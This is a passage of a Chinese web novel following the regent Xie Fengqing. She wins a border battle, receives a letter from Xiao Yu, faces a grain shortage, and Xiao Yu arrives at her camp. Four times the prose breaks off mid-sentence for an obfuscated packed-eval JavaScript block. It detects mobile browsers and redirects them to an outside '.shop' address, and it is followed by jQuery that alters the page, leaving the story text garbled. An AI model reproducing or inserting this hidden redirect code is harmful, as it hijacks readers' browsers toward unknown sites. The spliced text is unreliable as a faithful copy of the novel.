谢凤卿突然拔剑出鞘,桃花剑在朝阳下绽放出璀璨光华,剑尖直指苍穹:"但今日之胜,只是开始!"她的声音如同出鞘的利剑,划破长空,"待边关安定,我们要在这片土地上修建贯通东西的贸易之路,让商队的驼铃取代战马的嘶鸣!" 她剑锋一转,指向远方:"我们要在边境开设互市,让各族百姓能够自由贸易,让边关的孩童不必再经历战火!" 最后,她将桃花剑横在胸前,目光如炬:"这,才是真正的天下归一!不是靠武力征服,而是让四海之内皆享太平!" 短暂的寂静后,整个雪原爆发出震耳欲聋的欢呼声。老兵激动地相拥而泣,年轻士兵挥舞着兵器呐喊,就连重伤躺在担架上的伤员也挣扎着抬起手臂。无数个声音汇成同一个节奏: "凤皇万岁!天下归一!" 声浪一重高过一重,惊起远处雪林中的飞鸟。这呼声不仅是对胜利的庆祝,更是对未来的期盼。在经年战乱的边关,终于有人许下了太平的诺言。 谢凤卿凝视着台下激动的将士们,眼角微微湿润。她看到凌雪在默默擦拭眼角,霍三娘正向她用力点头,就连一向严肃的石勇也露出了笑容。这一刻,她更加坚定了自己的信念—— 这条路上或许还会有艰难险阻,但只要与这些忠勇的将士同行,与远方那个默默支持她的人同心,再远的理想也终将实现。 朝阳完全升起,照亮了她眼中坚定的光芒。 "王爷,"使者的声音因长途奔波的疲惫而沙哑,却仍保持着最大的敬意,"监国八百里加急。" 谢凤卿接过那封尚带着使者体温的信件,指尖触到油布包裹时微微一颤。她小心翼翼地拆开外层防护,露出里面素雅的信笺。当熟悉的字迹映入眼帘时,她的唇角不自觉地扬起一抹温柔的弧度。 信纸上的墨迹似乎还带着书写者掌心的温度,每一个字的起笔落笔都透着写信人特有的从容: "闻卿雪夜奔袭,大获全胜,心甚慰之。昨夜观星,见紫微星格外明亮,便知卿已建功。京中一切安好,新政推行顺利,女学基金已收捐款百万。昨日太学辩论,那些老学究们终于不再反对女子入学了。盼早日凯旋,共商繁荣昌盛大计。御笔。" 这封简短的信件,却让谢凤卿冰冷的手指渐渐回暖。她几乎能想象出萧御在灯下写信时的模样——必定是微微侧首,如玉的面容在烛光下显得格外温润,那双总是含着笑意的眼睛此刻一定盛满了骄傲与思念。或许在写完最后一个字时,他还会轻轻吹干墨迹,就像每次送别时在她耳畔的低语般温柔。 一阵晨风拂过,带来远处雪松的清香。谢凤卿不自觉地将信纸轻轻贴在胸前,仿佛这样就能离那个远在京城的人更近一些。朝阳恰好突破云层,金辉洒在她微微泛红的脸颊上,为那惯常清冷的面容平添了几分罕见的娇羞。 她想起离京前夜,萧御特意来到她府中,将一枚刻着桃花的玉佩系在她腰间。"这是用我幼时佩戴的平安玉改制的,"他当时笑着说,"让它替我守护你。"此刻,那枚玉佩正贴在她的心口,与这封书信一样,都带着那个人的温度。 "王爷,又是监国大人的来信?"霍三娘轻声问道,眼中带着了然的笑意。 谢凤卿微微颔首,小心地将信纸重新折好,收进贴身的衣袋中。这个细微的动作被身旁的凌雪看在眼里,这位素来冷峻的女将也不禁莞尔——只有在收到监国来信时,她们这位叱咤风云的主帅才会露出这般小女儿的情态。 谢凤卿抬头望向京城方向,目光仿佛穿透了千山万水,落在了那座熟悉的宫城上。朝阳在她眼中映出璀璨的光芒,那里面盛着的,是对未来的无限憧憬。 "快了,"她轻声自语,声音柔得如同春日融化的雪水,"就快回去了。" 等她处理好边关事宜,就能回到那个人的身边,继续他们共同许下的诺言——要让这**江山贯通铁路,让学堂里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590785|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起女童的读书声,让天下百姓都能安居乐业。而这一切,都将在他们的携手努力下,一步步成为现实。 晨风拂过,将她额前的碎发吹起,带来远方的气息。谢凤卿深深吸了一口清新的空气,感觉心中充满了前所未有的力量。有了那个人的支持与等待,再艰难的征程,都变得值得期待。 霍三娘上前轻声问道:"王爷,接下来有何指示?" 谢凤卿收回目光,神色恢复肃穆:"整顿军队,清理余孽。同时传令各地,凡日月旗所至,皆需协助修建道路。我们要在一年内,让它通到到边关。" "是!" 朝阳终于挣脱了所有云层的束缚,将万丈金光尽情倾泻在这片饱经战火的雪原上。每一寸土地都沐浴在圣洁的光辉中,连昨夜激战留下的焦痕与血迹,此刻都仿佛被镀上了一层希望的色彩。谢凤卿利落地翻身上马,白马在晨光中昂**嘶,银色的鞍辔折射出耀眼的光芒。 她勒住缰绳,最后回望这片刚刚经历生死洗礼的战场。一夜之间,叛军的巢穴化为乌有,这片土地终于重归大明的版图。但她的目光并未停留在眼前的胜利上,而是越过重重山峦,望向更遥远的未来。 在她的构想中,一条钢铁巨龙即将贯穿这片广袤土地,连接起四海八荒。她仿佛已经听见火车汽笛的长鸣划破长空,看见商旅车队在新建的铁路上川流不息。而这一切,都将由她和远在京城的那个身影共同开创——他执笔安天下,她挥剑定乾坤,二人同心,必将引领这个时代走向前所未有的辉煌。 "回营。"她轻夹马腹,声音清越如玉石相击。白马迈着稳健而优雅的步伐,踏碎晨霜,向着朝阳升起的方向行进。每一步都坚定有力,仿佛在向这片土地宣告新时代的到来。 在她身后,风雪十八骑整齐列队,银甲在阳光下闪耀如鳞。每一位将士都挺直脊梁,脸上洋溢着胜利的豪情与对未来的憧憬。"凤"字大旗在晨风中猎猎招展,旗面上的金凤栩栩如生,仿佛随时都会破空而去。 史官郑重地展开宣纸,工整落笔:"摄政王谢凤卿雪夜奔袭,大破叛军于雪原峡谷,生擒主帅赤勒汗。此役,火龙炮威震四方,雪崩雷改天换地,开古来战法之新篇。自此,边关平定,世界铁路之基始奠。" 这浓墨重彩的一笔,将永远铭刻在青史之上。但此刻策马徐行的谢凤卿明白,这并非终点,而是一个崭新的起点。在她深邃的眼眸中,倒映着的不仅是眼前的胜利,更有一个正在徐徐展开的盛世宏图。 风过雪原,卷起细碎的冰晶,在阳光下闪烁如钻石。这支得胜之师的身影渐渐融入金色的晨曦中,唯有"凤"字大旗始终在风中傲然飞扬,如同这个正在崛起的时代一般,充满了无限的可能与希望。 而这一切,才刚刚开始。 第79章军中存粮…仅…仅够三日之用了 正月廿七,边关黑风口,风雪如怒。 狂风嘶吼,卷着漫天蔽日的鹅毛大雪,仿佛要将整个天地都拖回冰河纪元。连绵的边关军营在这样极端的天候下,如同怒海中的孤舟,艰难地承受着一波又一波风雪的冲击。营寨的旌旗被狂风扯得笔直,旗面上的猛兽图腾在剧烈的翻飞中扭曲变形,发出裂帛般的声响。厚厚的积雪沉重地压在每一顶营帐的顶上,将毡布绷得紧紧的,不时有不堪重负的支架发出细微的“咯吱”声,仿佛下一刻就会彻底坍塌。 仅仅在数日之前,这里还洋溢着震天的欢呼与胜利的喜悦。雪夜奔袭,大破叛军,生擒敌酋,这是一场足以载入史册的大捷。篝火曾照亮一张张激动而自豪的脸庞,美酒的香气甚至短暂地压过了血腥气,伤兵的呻吟也被凯旋的歌声所掩盖。每一个士兵的眼中都闪烁着对未来的希望,坚信跟着那位战无不胜的摄政王,边关的太平指日可待。 然而,这来之不易的欢欣,竟脆弱得如同阳光下的冰雪,迅速被眼前这场仿佛永无止境的暴风雪所吞噬、掩埋。胜利的余温尚未完全散去,一种更深沉、更令人不安的压抑感,已如同无形无质却又无所不在的冰寒毒瘴,悄无声息地渗透进军营的每一个角落,缠绕上每一个人的心头。 一队巡逻士兵深一脚浅一脚地踏过齐膝的积雪,他们的铁甲上凝结了厚厚的白霜,眉睫皆白,呵出的气息瞬间变成冰雾。与几日前昂首挺胸、步伐铿锵的巡营姿态相比,此刻他们的脊背似乎微微佝偂,步伐也变得沉重而迟滞,金属甲片相撞时发出的不再是清脆的铿锵,而是沉闷的、带着倦意的摩擦声。他们的目光不再锐利地扫视远方,反而更多地落在脚下,或是带着一丝不易察觉的忧虑望向炊烟稀少的后勤营地方向。队伍中无人交谈,沉默如同另一层沉重的积雪,压在每个人的心头。他们都是经历过生死的老兵,对军中动向有着野兽般的直觉。近日来,口粮的份量悄然缩减,从干饭变成了稀粥,甚至能数清碗里的米粒。那股对饥饿最原始的恐惧,如同细小的冰锥,开始刺探他们刚刚因胜利而坚固起来的意志。军令森严,无人敢公开非议,但那种弥漫在空气中、日益浓郁的焦虑和不安,却比任何流言都更具传染性。 帅帐之内,情况似乎并未比冰天雪地的帐外好上多少。 尽管帐帘紧闭,角落里的炭火盆也烧得极旺,上好的银炭释放出炽热的能量,发出噼啪的爆响,跳跃的火光在帐壁上投下摇曳的影子,试图驱散这极北之地的严冬。然而,那股来自西伯利亚荒原的透骨奇寒,仿佛拥有生命,顽强地从门帘的缝隙、从毡布编织的微小孔洞中钻入,与帐内的暖流进行着无声的搏杀,使得温度始终徘徊在一种勉强维持不僵硬的临界点。 但此刻,真正让帐内诸将感到血液都要冻结的,并非物理上的寒冷。而是一种弥漫在空气中、几乎能用手触摸到的凝重感,它源于粮草官王主事那句带着哭腔的、石破天惊的禀报。这位掌管数万大军命脉的官员,此刻正五体投地 额头紧紧贴着冰冷甚至带着冰碴的地面,身体因极度的恐惧和寒冷而无法控制地微微颤抖。他那身原本还算体面的官袍,此刻沾满了雪水泥渍,显得狼狈不堪。他的声音干涩沙哑,每一个字都像是用尽了全身力气,从被恐惧冻结的喉咙里艰难挤出来: “禀…禀王爷,末…末将万死!军中存粮…仅…仅够三日之用了。末将已日夜不休,反复核查三遍,绝…绝无错漏…”最后几个字,几乎带上了哭腔。他知道,这个数字意味着什么。三日,弹指即过,届时若无粮草接济,这数万刚刚经历血战、保家卫国的边关将士,将不战自溃!他这个粮草官,百死莫赎! 话音落下,帐内陷入了死一般的寂静。唯有炭火偶尔爆开的“噼啪”声,以及王主事那粗重、压抑、仿佛随时会断气的喘息声,清晰地敲打在每一个人的耳膜上。 侍立在沙盘两侧的凌雪、霍三娘等高级将领,个个脸色铁青,嘴唇紧抿。他们的拳头在身侧悄然握紧,指节因过度用力而泛白,手背上的青筋贲起。眼中燃烧着的是无法遏制的怒火——既有对眼前这致命危机的惊怒,更有对后方那些趁机作乱、罔顾将士生死的蠹虫的滔天恨意!然而,在这位始终背对着众人、凝视沙盘的主帅面前,所有人都强行压制着翻腾的情绪,屏息凝神,将所有的希望与焦虑,都寄托在那道玄色身影即将做出的决断上。 胜利的凯歌余音犹在耳畔,断粮的丧钟却已在不远处敲响。这极致的反差,将这帅帐之内的气氛,绷紧到了极限。 谢凤卿背对着匍匐在地的粮草官,身姿挺拔如松,纹丝不动,仿佛一尊玄铁铸就的雕像,与面前那巨大的边境沙盘融为一体。沙盘之上,山川起伏,关隘林立,城池俨然,纤毫毕现地勾勒出这片他们刚刚用无数鲜血和生命从叛军手中夺回、誓死捍卫的广袤疆土。她身上那件象征着权力与威严的玄色战袍,下摆处还沾染着昨夜冒着风雪巡营时冻结的雪屑,此刻在帐内摇曳的昏黄灯火下,折射出冰冷而潮湿的微光,仿佛凝结着边关的整个严冬。 王主事那带着绝望颤音的禀报,如同丧钟般在帅帐内敲响,余音在凝滞的空气中震荡、回旋,每一个字都重重砸在在场每一位将领的心头。然而,谢凤卿却没有丝毫反应。她没有立刻回头质问,甚至没有因为这足以颠覆军心的噩耗而出现一丝一毫的颤动。唯有她那双深邃如万年寒潭的眸子,此刻正凝聚着锐利如鹰隼般的光芒,沿着沙盘上那道蜿蜒曲折、如同巨大伤疤般横亘在国土边境的防线,极其缓慢地移动着。 她的目光,似乎穿透了这微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598468|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩的木质山川与泥塑城池,越过了图纸上的疆界,直抵后方波谲云诡的朝堂与市井。她在脑海中飞速推演,试图看穿隐藏在这“粮草告急”背后,那错综复杂、盘根错节的利益输送与权力博弈。这场持续月余、大小历经十余场血腥厮杀的残酷战役,其消耗的速度远远超出了最初的预估,如同一个贪婪的无底洞,早已将战前苦心储备的粮秣吞噬殆尽。将士们可以忍受严寒,可以直面刀剑,但空着肚子,如何挥得动战刀?如何守得住疆土? 而更令人心寒齿冷、怒发冲冠的是,以萧景明为首的那群国之蠹虫、宗室商会,竟敢在边关将士浴血奋战、马革裹尸之际,在遥远的后方,利用他们盘根错节的商业网络和与生俱来的宗室特权,肆无忌惮地联手囤积居奇!他们将关乎数万大军生死、关乎边关稳定的粮草,当作了攫取暴利、要挟朝廷的筹码,硬生生将粮价哄抬至平日的十倍有余!此等行径,已非简单的贪婪,而是彻头彻尾的资敌叛国!其心可诛!其行可灭九族! 帐内的炭火盆依旧噼啪作响,但空气却仿佛冻结了。每一秒的沉默,都如同沉重的巨石,压在每个人的胸口。凌雪、霍三娘等将领屏住呼吸,目光紧紧追随着沙盘前那道沉静得可怕的身影,等待着她的决断。这极致的静默,比任何喧嚣都更能凸显出形势的危急与内心的惊涛骇浪。一场由胜利巅峰骤然跌入断粮深渊的危机,正考验着这位年轻摄政王的智慧与意志。 帐内陷入了一片死寂,那寂静是如此深沉而粘稠,仿佛连空气都凝固成了坚冰。唯一能打破这令人窒息的静谧的,只有炭火盆中银炭偶尔爆裂发出的“噼啪”轻响,那声音在极致的安静中被无限放大,如同冰面碎裂的预兆,敲打在每个人的心弦上。与之交织的,是粮草官王主事匍匐在地所发出的、粗重而压抑的喘息声。那喘息带着明显的呜咽尾音,断断续续,仿佛一个溺水之人最后的挣扎,每一次吸气都像是用尽了全身力气,又仿佛下一次就会彻底断绝。 侍立在沙盘两侧的凌雪、霍三娘等一众高级将领,如同泥塑木雕般僵立着,但紧绷的身体线条却泄露了内心的惊涛骇浪。他们的面色铁青,嘴唇紧抿成一条凌厉的直线,下颌骨因紧咬牙关而微微凸起。垂在身侧的双手紧握成拳,指节因为过度用力而失去血色,呈现出一种僵硬的苍白,手背上青筋虬结,如同盘踞的毒蛇,蕴含着随时可能爆发的可怕力量。他们的眼中,熊熊燃烧着难以遏制的怒火——那是对萧景明等宗室商会成员罔顾国家大义、趁火**的无耻行径的刻骨愤恨;那也是对眼前这骤然降临、足以让数万大军陷入万劫不复之境的断粮危机的深切焦灼与无力感。 然而,没有一个人出声,甚至没有一丝多余的晃动。所有的情绪,所有的力量,都被强行压制在钢铁般的纪律之下。 第80章绝不会让他们饿着肚子,去守卫国 他们如同最忠诚的侍卫,将全部的心神与意志,都聚焦在那道背对众人、凝视沙盘的玄色身影之上。那道身影,是他们的主帅,是他们的信仰,是在无数次尸山血海中带领他们走向胜利的旗帜。他们相信她,就如同相信自己在最黑暗的绝境中也绝不会松开的战刀,相信她一定能在这看似无解的危局中,劈开一条生路。 时间,在这压抑的等待中被无限拉长。每一息都如同一个世纪般漫长。王主事的额头死死抵着冰冷的地面,冷汗早已浸透了他的内衫,寒意顺着脊椎蔓延。极度的恐惧和缺氧,让他眼前阵阵发黑,意识开始模糊,几乎以为自己下一瞬就会心脏停跳,彻底晕厥在这帅帐之中。 就在这紧绷的气氛即将达到临界点的刹那,谢凤卿终于动了。 她缓缓地、极其平稳地转过身。动作之间,没有丝毫的仓促或慌乱,带着一种掌控全局的从容。玄色战袍的下摆随着她的转动,在空气中划出一道沉稳的弧线,带起细微的气流,却拂不散帐内凝重的氛围。她的脸上,依旧看不出丝毫惊慌失措的痕迹,平静得如同终年覆盖着冰雪的深潭水面,平滑如镜,映不出半点波澜。然而,离她最近的凌雪和霍三娘,却敏锐地捕捉到,在她那双锐利如千年鹰隼般的眸子最深处,有一丝极冷、极锐的锋芒,如同万年冰层下骤然闪过的淬毒刀光,一闪而逝,却足以令人生畏。那并非慌乱,而是杀伐决断的前兆,是怒火被压缩到极致后凝结成的冰晶。 “传令。” 她的声音响起,清冽如冰泉击石,不高亢,却带着一种奇异的穿透力与不容置疑的威严,瞬间刺破了帅帐内那令人几近窒息的死寂。这简单的两个字,仿佛带着千钧之力,将弥漫在空气中的恐慌与无助硬生生压了下去,代之以一种源自绝对权威的镇定。 “其一,”谢凤卿的目光沉稳地扫过帐中诸将,最终落在凌雪身上,语速平稳,条理清晰,显示出即使在巨大压力下,她的思维依旧缜密如常,“即刻开启战时应急粮储。按最低生存标准,依军衔高低、岗位紧要程度,进行严格定量分配。伤兵营,以及驻守在最前沿哨卡、直面风雪的将士,务必优先保障,份额可酌情上浮半成。”她略微停顿,语气加重,每一个字都清晰无比,“将此令晓谕全军,告诉每一位将士,朝廷,绝不会让他们饿着肚子,去守卫国门!” 这不仅仅是一道命令,更是一颗定心丸。在粮草将尽的绝境下,主帅的冷静与对士卒的关切,比任何豪言壮语都更能凝聚人心。 “得令!”凌雪抱拳领命,声音斩钉截铁,没有丝毫犹豫。她深深看了谢凤卿一眼,那眼神中充满了绝对的信任与执行到底的决心。随即,她利落地转身,玄色披风扬起一道弧线,掀开厚重的帐帘,身影瞬间没入外面呼啸的风雪之中,行动迅捷如电。 谢凤卿的视线并未追随凌雪离去,而是再次投向帐外那片被风雪笼罩的混沌世界。她的目光似乎能穿透厚重的毡帘,越过连绵的营帐,一直看到更远方那暗流涌动的局势。短暂的静默后,她继续下达指令,声音依旧平稳,却透出铁血的肃杀: “其二,军法司加派双倍人手,由副将亲自带队,昼夜不停,严密监控各军、各营动向。尤其要密切关注中下层军官和普通士卒的情绪波动和私下议论。眼下,稳定军心为第一要务!严防任何关于粮草短缺的流言传播、发酵。若有胆敢散布恐慌、动摇军心者,”她的声音陡然转冷,如同数九寒天的冰棱,“无论官职高低,背景如何,一经查实,立斩不赦!首级悬挂辕门,以儆效尤!” “是!”负责军纪执法的一位面容冷峻的将领沉声应诺,眼中闪过凌厉的寒光。他深知这道命令的分量,也明白在此危急存亡之秋,军纪如山,容不得半分仁慈和懈怠。 帐内气氛因这杀气腾腾的第二道命令而更加凝重,但也奇异地变得更加有序,仿佛一艘在惊涛骇浪中终于稳住舵轮的巨舰。 谢凤卿深吸一口气,将目光转向一直静候在一旁的霍三娘。她的眼神变得深邃,其中蕴含的信息远比前两道命令更为复杂。与前两道旨在稳定内部、维持秩序的指令不同,这第三道命令,才是真正破局的关键,也最能体现她超越常人的眼光和布局。 “其三,”谢凤卿的声音压低了些,却带着更强的穿透力,她从怀中取出一枚不过巴掌大小、却通体乌黑、触手冰凉的玄铁令牌,令牌正面雕刻着繁复的凤纹,背面则是一个古朴的“令”字。这是代表她最高权限的信物,见令如见人。“霍三娘,持我玄铁令牌,动用‘暗影’渠道,以最高级别的紧急联络方式,务必在最短时间内,找到并传召鬼市船队在此片海域的首领,赵三娘,来此见我。” 她将令牌递出,同时意味深长地补充道,这句话与其说是命令,不如说是一种只有彼此才懂的暗语:“告诉她,边关风雪甚急,故人急需她的‘商船’前来‘贸易’。” “鬼市”二字一出,帐内几位核心将领的眼中都闪过一丝惊诧,但随即化为叹服。鬼市,那是一个游离于朝廷管辖之外、神秘莫测的海上势力,掌控着庞大的走私贸易网络,其船只航行于律法边缘,行事诡秘,能量巨大。寻常官员避之唯恐不及,而他们的摄政王,竟在如此关键时刻,毫不犹豫地选择与这股势力合作,并且显然早有联络和布局!这需要何等的魄力与远见? “卑职明白!”霍三娘双手恭敬地接过那枚沉甸甸的玄铁令,感受到其上冰冷的温度和蕴含的无上权威。她没有多问一个字,只是重重颔首,眼神坚定如磐石。她深知此行的艰巨与重要,也明白王爷将此重任交予她,是对她能力的绝对信任。转身离去时,她的步伐比凌雪更加沉稳,却带着一种义无反顾的决绝。 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601759|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道命令,层层递进,环环相扣。第一道稳内,第二道肃纪,第三道求外援。在极度不利的局面下,谢凤卿展现出的不仅是临危不乱的镇定,更是运筹帷幄、于绝境中寻找生路的非凡智慧与魄力。她早已将目光投向了常规渠道之外,在那片被视为法外之地的灰色海域中,埋下了一着可能扭转乾坤的暗棋。这,才是她真正的过人之处。 联络通道,速传鬼市船队在此片海域的首领赵三娘来见。告诉她,边关急需她的‘商船’。” “是!属下亲自去办,绝不负王爷重托!” 霍三娘沉声应道,声音里带着不容置疑的坚定。她上前一步,单膝微屈,双手高举过头,以一种近乎虔诚的姿态,接过了那枚触手冰寒、刻有繁复凤纹的玄铁令牌。当她的指尖触碰到令牌上那冰冷的凤纹时,仿佛有一股电流顺着经脉直抵心口——这不仅是调兵遣将的信物,更是此刻维系数万大军生死的希望所在。她将令牌紧紧攥在手心,那沉甸甸的分量让她指节微微发白,仿佛握住的不是一块金属,而是沉甸甸的江山社稷。她没有丝毫迟疑,猛地转身,玄色衣袂在空气中划出一道决绝的弧线,身影很快便消失在帐外呼啸的风雪之中,步伐坚定而迅捷,一如她此刻破局突围的决心。 三条命令,条理清晰,措辞精准,被谢凤卿以沉稳有力的声音逐一道出,仿佛带着一种奇异的、能够安定人心的魔力。帐内原本紧绷得如同满弓之弦、几乎一触即断的凝重气氛,终于因此稍稍缓和了几分,如同冰封的湖面被投入一颗石子,虽未解冻,却也有了微澜。一直匍匐在地、几乎窒息的王主事,此刻终于敢略微抬起一点头,偷偷地、极快地觑了一眼主帅那平静得近乎雕塑的侧脸轮廓。看到谢凤卿眼中那份深不见底的镇定,他狂跳的心脏似乎也找回了一丝节奏,胸腔里那口堵着的气稍稍顺畅了些。然而,那股沉甸甸的、关乎数万人生死的巨大压力,并未真正消散,只是从弥漫在空气中的恐慌,转化为一种更为深沉的、压在每个人心头的期待与忧虑。 在场的每一位将领都心知肚明,所谓的“战时应急粮储”,存量极其有限,不过是危难时刻用来争取时间的最后手段,最多也只能支撑全军紧缩用量数日,面对漫长的补给线和虎视眈眈的敌人,这无异于杯水车薪。真正的希望,远在风高浪急、变幻莫测的海上,系于那支正搏击惊涛骇浪、行踪诡秘难测、亦正亦邪的鬼市船队。他们神龙见首不见尾,与朝廷的关系更是微妙复杂,他们,真的会在这生死攸关的时刻,如期而至吗?这个巨大的问号,如同帐外无尽的暴风雪,沉甸甸地压在每个人的心头。 就在这希望与焦虑交织的寂静时刻,厚重的帐帘再次被猛地掀开! 一股更加凛冽刺骨、仿佛能冻结灵魂的寒气,如同决堤的洪水般席卷而入,瞬间冲散了帐内好不容易积聚起的一丝暖意。 第81章我来了 炭火盆中原本跳跃的火焰被这突如其来的寒流压得一暗,明灭不定,帐内光线也随之晦暗了一瞬,仿佛预示着前路的莫测。 一道颀长挺拔的身影逆着帐外混沌的风雪光晕,迈着略显疲惫却依旧沉稳的步伐走了进来。当众人看清来者面容时,帐内顿时响起一片压抑的惊呼和倒吸冷气的声音! 竟是监国大人,萧御! 他不是应该在千里之外的京城坐镇,处理朝政,稳定后方吗?怎么会突然出现在这苦寒的边关前线? 只见萧御一身风尘仆仆,原本矜贵雅致的锦袍外,草草罩着一件沾满泥泞与雪渍的玄色大氅,大氅边缘甚至有几处被利物划破的痕迹,露出内里絮着的棉絮,无声诉说着路途的艰险。他肩头、发顶皆落满了厚厚的白絮,仿佛刚从雪堆中走出,连那浓密纤长的睫毛上都凝结着细小的冰晶,随着他眨眼的动作微微闪烁,折射出帐内昏暗的光线。他俊雅的面容带着难以掩饰的倦色与憔悴,眼底有着明显的青影,如同水墨晕染开去,嘴唇也因长久的寒冷和奔波而缺乏血色,微微干裂。然而,与这满身狼狈形成鲜明对比的,是他那双深邃如星的眼眸——尽管疲惫,却依旧清亮有神,此刻正精准地、一瞬不瞬地落在沙盘前那道玄色身影上,目光中交织着难以言喻的关切、深深的心疼,以及一种跨越千山万水终于抵达她身边的、如释重负的安然。 他解下那件被风雪浸透、沉重冰冷的披风,动作却出乎意料地自然流畅,仿佛这个为他卸去风霜的动作,早已在无数个并肩的日夜中融入了本能,熟练得令人心折。披风被轻轻搭在一旁的梨木架子上,没有发出过多声响,仿佛怕惊扰了帐内凝重的气氛,也怕惊扰了那个正独自承受着巨大压力的人。随即,他步履沉稳,却带着一丝不易察觉的急切,走到巨大的沙盘前,极其自然地站在了谢凤卿的身侧,与她并肩而立。那一刻,他高大的身影仿佛一道无形的屏障,为她隔绝了部分外界的风雪与压力。 他没有立刻说话,甚至没有先去关注沙盘上错综复杂的局势,而是先侧过头,深深地、久久地凝视着谢凤卿的侧脸。那眼神复杂得如同浩瀚的星空,包含了千言万语——有对她独自支撑这危局的深切疼惜,仿佛在责怪自己为何没能更早到来;有对眼前这严峻困境的了然与凝重,表明他已洞悉一切,愿与她共同承担;更有一种深沉而坚定的、无声的承诺,如同最坚固的磐石——“我来了,从此风雨,我与你同担。” 良久,他才将目光转向帐内诸将,声音因长途疾驰、冷风灌喉而略带沙哑,却依旧带着监国应有的、不容置疑的威严:“京城诸事,已做紧急安排,交由可信之人暂理。边关军情如火,关乎国本,我…实在放心不下。”他话语中那个微妙的停顿,泄露了他未曾明言的牵挂,那份牵挂独独系于一人之身。他顿了顿,目光锐利地扫过沙盘上敌我态势,语气转为斩钉截铁般的坚定,“粮草告急之事,沿途我已接到飞鸽传书,尽已知晓。此行虽遭遇些…不识时务的阻挠,”他轻描淡写地略过途中艰险,但袍角的破损和眉宇间的倦色却诉说着未尽之言,“但皆已扫清,无碍大局。此刻起,本王与摄政王,同心同德,共同应对此局。” 他这番简洁却分量千钧的交代,瞬间化解了众人对他突然出现的惊疑,也旗帜鲜明地表明了他与谢凤卿共同进退的坚定立场。他的到来,不仅仅是为这孤悬边关、面临绝境的军营带来了监国的权威和来自中枢的支持,更像是一股温暖的、强大的力量,注入了每个人的心间。那种无声却磅礴的支撑感,在此刻危机四伏、压力如山的帅帐中,比任何慷慨激昂的誓言都更能给予谢凤卿力量,也更能凝聚和振奋帐内所有将领的士气,清晰地传递出王朝最高权力核心坚不可摧的团结信号。 谢凤卿在他深深凝视自己的那一刻,持剑般挺直的脊背几不可察地微微松弛了一线。她侧眸看向他,尽管脸上依旧维持着主帅应有的平静与威严,仿佛冰封的湖面,但若有人足够细心,便能发现她眼底深处那一丝极细微的波动,如同春风吹过冰层,漾开微不可见的涟漪。她的指尖原本因紧握而微微发白,此刻却悄然松开了一丝力道。她甚至能闻到他身上带来的、属于远方的风雪气息,夹杂着一丝熟悉的、令人安心的清冽墨香,这气息无声地包裹着她,驱散了萦绕在她心头的部分孤军奋战的寒意。 萧御仿佛感知到她的细微变化,在众人目光不及之处,他的小指几不可见地动了一下,似乎想触碰她的手背给予安慰,但最终只是更稳地站定在她身侧,将那份汹涌的情感克制地压回心底,化作并肩而立的坚定姿态。这一刻,无需言语,两人之间那种超越生死、深入骨髓的默契与信任,已弥漫在整个帅帐之中,让这冰冷的战争机器,也染上了一抹动人的暖色。他来了,跨越所有阻碍,在她最需要的时候,如约而至。这本身,就是最动人的誓言。 “已经派人拿着你的玄铁手令,动用最高级别的海东青,去寻赵三娘了。”萧御的声音低沉温和,如同上好的暖玉相叩,在这被紧张和寒意充斥的帅帐中,带着一种独特的、抚慰人心的力量,精准地、只传入谢凤卿一人的耳中,仿佛在喧嚣战场上开辟出一方只属于两人的静谧天地。他略一停顿,眉头几不可察地微微蹙起,形成一个浅浅的川字,声音压得更低,带着情报人员特有的谨慎和凝重,“宗室商会那边,我们安插在最核心的暗桩刚刚冒死传出密信,萧景明等人正在其位于城郊的隐秘别院集结,不仅车马齐备,随行护卫中更混有数名气息内敛、疑似豢养多年的死士头目。看这阵仗,恐怕…来者绝非善类,所图非小。” 谢凤卿闻言,唇角缓缓勾起一抹冰冷得毫无温度的弧度,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604300|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 